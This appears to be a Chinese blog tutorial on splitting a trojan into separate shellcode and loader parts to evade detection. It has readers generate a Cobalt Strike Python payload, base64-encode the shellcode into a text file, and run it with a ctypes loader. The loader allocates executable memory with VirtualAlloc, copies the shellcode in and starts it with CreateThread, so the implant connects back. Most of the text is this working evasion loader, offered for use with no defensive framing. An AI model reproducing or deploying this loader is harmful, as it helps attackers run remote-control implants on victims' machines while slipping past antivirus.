无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
云边云科技5348 分钟前
云边云科技SD-WAN解决方案 — 构建安全、高效、智能的云网基石
网络·科技·安全·架构·it·sdwan
414a12 分钟前
LingJing(灵境)桌面级靶场平台新增靶机:加密攻防新挑战:encrypt-labs靶场,全面提升安全研究者的实战能力!
安全·渗透测试·lingjing·lingjing(灵境)·网络安全靶场平台
上海云盾-高防顾问30 分钟前
智能汽车的“软肋”:车载系统漏洞分析与安全防护框架初探?
安全·车载系统·汽车
q***333737 分钟前
数据库高安全—openGauss安全整体架构&安全认证
数据库·安全·架构
jenchoi4132 小时前
【2025-11-12】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
AcrelZYL2 小时前
古建筑用电安全如何守护,安科瑞ASCB3智能微型断路器
物联网·安全
414a3 小时前
LingJing(灵境)桌面级靶场平台新增:真实入侵复刻,知攻善防实验室-Linux应急响应靶机2,通关挑战
安全·网络安全·lingjing·灵境·lingjing(灵境)
liliwoliliwo6 小时前
信息系统安全-第六章-操作系统安全-2.Windows安全技术
安全
简鹿办公6 小时前
重大更新!Ubuntu Pro 现提供长达 15 年的安全支持
linux·安全·ubuntu